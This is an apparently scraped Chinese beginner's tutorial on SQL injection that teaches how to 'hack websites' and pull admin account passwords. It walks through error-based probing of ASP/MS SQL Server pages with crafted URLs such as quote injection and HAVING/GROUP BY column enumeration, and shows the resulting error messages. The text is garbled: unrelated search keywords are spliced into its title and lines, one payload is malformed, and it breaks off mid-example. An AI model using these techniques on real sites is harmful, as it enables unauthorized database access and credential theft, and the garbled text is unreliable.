六年级英语期末试卷新手必看SQL注入详解脚本平安 电脑资料
网上有很多高手GG们写的利用SQL注入如何去黑网站的,偶看了,嘿嘿,
不过可能对于一些初学者而且,有点难。在这里,小林想把这个过时的
东东作一次全面的交待,尽量让没有编程根底的DDMM们很快的拿握这门技术。
利用SQL进展添加,更改,查看记录。
当一台主机台开了80端口,当你手头没有任何 工具,那么,偶们有SQL。
他不需要你其他东东,只要一个浏览器就够了。HOHO,偶的文章菜菜,偶写这
篇文章只是为了让一些对SQL很陌生的菜菜们看的,老鸟绕道。。。
1,什么是SQL注入?
SQL注入,就是利用欺骗的方式,通过网页的查询功能,或查询命令注入。
当用户来到网站,会提交一些?/a>,再到数据库进展查询,确定此用户的身份。
举个简单的例子来说吧,你去一个站点的论坛,那么,你会输入你的用户名和
密码,点"确定",网站会通过数据库的查询来判断你是不是他们的用户,
你的用户名和密码是否正确。而利用SQL注入,通过构造特殊的语句,来查我
们所想要得到的信息,如员的帐号密码。以下,小林用了
来表示一个存在注入漏洞的网页。
2,助手篇,
先把IE菜单-工具-Inter选项-高级-显示友好 错误信息前面的勾去掉。
否那么,不管效劳器返回什么错误,我们都只能看到" 500效劳器错误",不能获得更多的提示信息
。
3,哪些网页能利用?
我们去一些要提交数据的网页,如:登陆页面,查页面,添加页面等
到后,如果你注意过网页的源代码,那么,你会发现,他上面一般有一个如下的表单:
这些网页,后缀如asp,jsp,cgi,php网页。
如:/index.asp?id=10
上面这个例子,就是ASP页后,看到他的ID还的值了吗?是10。一般,我们的就是这些页面
来练手了。(要做个好人噢。(^^)像小林一样的好人。)
4,怎么测试它是存在注入漏洞的呢?这一步偶称它为"踩点"。
讲真的歌词是什么意思小林有一个毛病,看什么网页,就要顺手在参数(如上面的10)上加一个小小的引号。
/index.asp?id=10'
返回错误信息:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
字符串 '' 之前有未闭合的引号。
/job/grxx.asp,行141
这就是说,他用的是MsSQL数据库。这个引号,导致引号未闭合的错误。本身就是错的,因为
通常一个整数是不用在SQL里加引号的。
如果他不是一个整数而是字母呢?
自制油条唇膏排行榜/index.asp?user=lamb
那我们就把引号放到lamb中间,如lam'b
呵呵,又出错了吧?
这说明,站点这一部分的代码是大有问题的(当然,就算他有源码公布在网上,我也懒得
看)
当然,我们也可以提交:
/index.asp?id=10 ;AND columnaaa=5 (注,这里的columnaaa是我乱写的)
出现错误信息:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name 'columnaaa'.
/job/grxx.asp,行27
这说明,这是一个SQL,里面没有columnaaa这个字段(我习惯说"列")。
利用出错的信息,我们现在多少了解了这个站点的效劳了吧?
5,现在开工啦,偶不喜欢猜测他的字段名,太浪费TIME了,我们要想方法让数据查询中出错。
要产生一个错误让它自己报出数据库里的值。让我们用一用SQL语法GROUP BY 或HAVING。如:
/job/grxx.asp?id=23%20HAVING%201=1--
出现错误信息:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
什么电视好[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'wsid' is invalid in the
select list because it is not contained in an aggregate function and there is no GROUP BY
clause.
/more.asp,行27
看到wsid了吗?说明有一个叫wsid的列,因为你在用HAVING,所以你必须还要用
上GROUP BY,于是 就重复错误提交,直到没有得到错误。
这里要说明一下:分号在这里别离,%20 是空格,--表示后面是一个注释,也就是说只是说明,不能去
执行代码。(**)
下面是详细例子:
提交:
dnf图表组建失败/job/grxx.asp?id=23%20HAVING%201=1--
得到wsid这真是好东西。
提交:
/job/grxx.asp?id=23%20group%wsid%20having%201=1--
得到错误信息:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'article.title' is invalid in the
select list because it is not contained in either an aggregate function or the GROUP BY
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论